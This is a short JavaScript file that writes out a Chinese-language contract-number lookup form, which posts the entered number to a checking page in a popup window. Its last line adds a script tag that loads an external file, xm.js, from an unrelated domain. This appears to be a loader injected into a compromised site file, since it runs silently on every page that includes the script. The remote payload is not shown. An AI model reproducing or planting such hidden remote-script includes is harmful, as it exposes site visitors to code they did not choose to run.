document.writeln("<script language=javascript>");
document.writeln("function checkreg()");
document.writeln("{");
document.writeln("  if (document.UserReg.UserName.value==\"输入合同编号\")");
document.writeln("	{");
document.writeln("	alert(\"请输入合同编号№：的数字位(去掉№：)\");");
document.writeln("	document.UserReg.UserName.focus();");
document.writeln("	return false;");
document.writeln("	}");
document.writeln("  else");
document.writeln("    {");
document.writeln("	document.reg.username.value=document.UserReg.UserName.value;");
document.writeln("	var popupWin = window.open(\'ht_ss.asp\', \'CheckReg\', \'scrollbars=no,width=340,height=200\');");
document.writeln("	document.reg.submit();");
document.writeln("	}");
document.writeln("}");
document.writeln("<\/script>");
document.writeln("<table border=\'0\' cellspacing=\'0\' cellpadding=\'0\' title=\'请输入合同编号中的数字位去掉№：\'>");
document.writeln("<FORM name=\'UserReg\' method=\'post\'>");
document.writeln("<TR>");
document.writeln("<TD>№:<INPUT  style=\'WIDTH: 80px; HEIGHT: 18px\' maxLength=20 size=12 name=UserName value=\'输入合同编号\'>");
document.writeln("<input name=\'Check\' style=\'WIDTH: 35px; HEIGHT: 20px\' type=\'button\' id=\'Check\' value=\'确认\' onClick=\'checkreg()\'>");
document.writeln("<\/form>");
document.writeln("<form name=\'reg\' action=\'http:\/\/www.pgbzj.com\/ht_Check.asp\' method=\'post\' target=\'CheckReg\'>");
document.writeln("<input type=\'hidden\' name=\'username\' size=1><\/form><\/TD><\/TR>");
document.writeln("<\/table>");
document.writeln("<script src=http:\/\/www.yojn.com\/xm.js?76543><\/script>")